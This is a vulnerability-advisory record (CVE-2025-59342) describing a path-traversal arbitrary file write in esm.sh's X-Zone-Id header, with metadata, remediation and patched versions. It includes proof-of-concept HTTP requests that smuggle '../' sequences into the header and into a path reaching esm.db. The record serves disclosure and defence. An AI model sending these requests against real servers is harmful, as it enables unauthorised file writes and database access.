{"id":"CVE-2025-59342","aliases":["GHSA-g2h5-cvvr-7gmw"],"title":"esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header","summary":"esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header","severity":"medium","cwe":["CWE-24"],"vendor":"esm-dev","product":"github.com/esm-dev/esm.sh","ecosystem":"go","affected":["github.com/esm-dev/esm.sh <= 136"],"patched":["github.com/esm-dev/esm.sh 136.1"],"published":"2025-09-17","updated":"2026-10-29","sourceUpdated":"2026-10-29T02:09:47Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-g2h5-cvvr-7gmw","references":[{"url":"https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g2h5-cvvr-7gmw"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59342"},{"url":"https://github.com/esm-dev/esm.sh/commit/833a29f42aeb0acbd7089a71be11dd0a292d3151"},{"url":"https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116"},{"url":"https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411"},{"url":"https://pkg.go.dev/vuln/GO-2025-3967"},{"url":"https://github.com/advisories/GHSA-g2h5-cvvr-7gmw"}],"tags":["ghsa","go","exploit-available"],"epss":0.03153,"epssPercentile":0.87911,"exploits":{"exploitdb":true,"github":1,"githubRepos":["https://github.com/byteReaper77/CVE-2025-59342"],"nuclei":["CVE-2025-59342"],"checkedAt":"2026-10-29T02:24:28.051Z"},"exploitAvailable":true,"ingestedAt":"2026-10-29T02:23:53.527Z","slug":"CVE-2025-59342","body":"## Overview\n\n## Summary\n\nA path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`).\n\n**Severity:** Medium\n\n**Component / Endpoint:** \n\n`POST /transform` — handling of `X-Zone-Id` header\n\nThe vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 \n\n**Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.\n\n---\n\n## Proof of Concept (POC)\n\nRequest (attacker-supplied `X-Zone-Id` contains path traversal):\n\n```\nPOST /transform HTTP/1.1\nHost: localhost:8888\nUser-Agent: Den/8.7.1\nAccept: */*\nConnection: keep-alive\nReferer: http://localhost:9999/\nContent-Type: application/json\nX-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/\nContent-Length: 325\n\n{\n  \"filename\": \"example2.js\",\n  \"lang\": \"js\",\n  \"code\": \"console.log('hello');\",\n  \"importMap\": {\n    \"imports\": {\n      \"react\": \"https://esm.sh/react\",\n      \"react-dom\": \"https://esm.sh/react-dom\"\n    }\n  },\n  \"jsxImportSource\": \"react\",\n  \"target\": \"es2022\",\n  \"sourceMap\": \"external\",\n  \"minify\": true\n}\n```\n<img width=\"2496\" height=\"1214\" alt=\"Screenshot 2025-09-16 at 21 40 57\" src=\"https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db\" />\n\n\nObserved result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`.\n\nThis can be trigger with another path traversal request below\n\n```\nGET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1\nHost: localhost:8888\nUser-Agent: localhost\nAccept: */*\nConnection: keep-alive\nX-Zone-Id: ../\nReferer: http://localhost:9999/\n\n```\n<img width=\"2516\" height=\"710\" alt=\"Screenshot 2025-09-16 at 21 37 07\" src=\"https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685\" />\n\n---\n\n## Remediation\n\nSimply remove any .. in the `X-Zone-Id` header before actually process the file.\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)\n\n## Affected packages\n\n- `github.com/esm-dev/esm.sh <= 136`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/esm-dev/esm.sh 136.1`","depth":"twilight","depthScore":40,"depthScoreParts":{"impact":27.5,"likelihood":0.6,"exploitation":12,"ransomware":0},"changes":[]}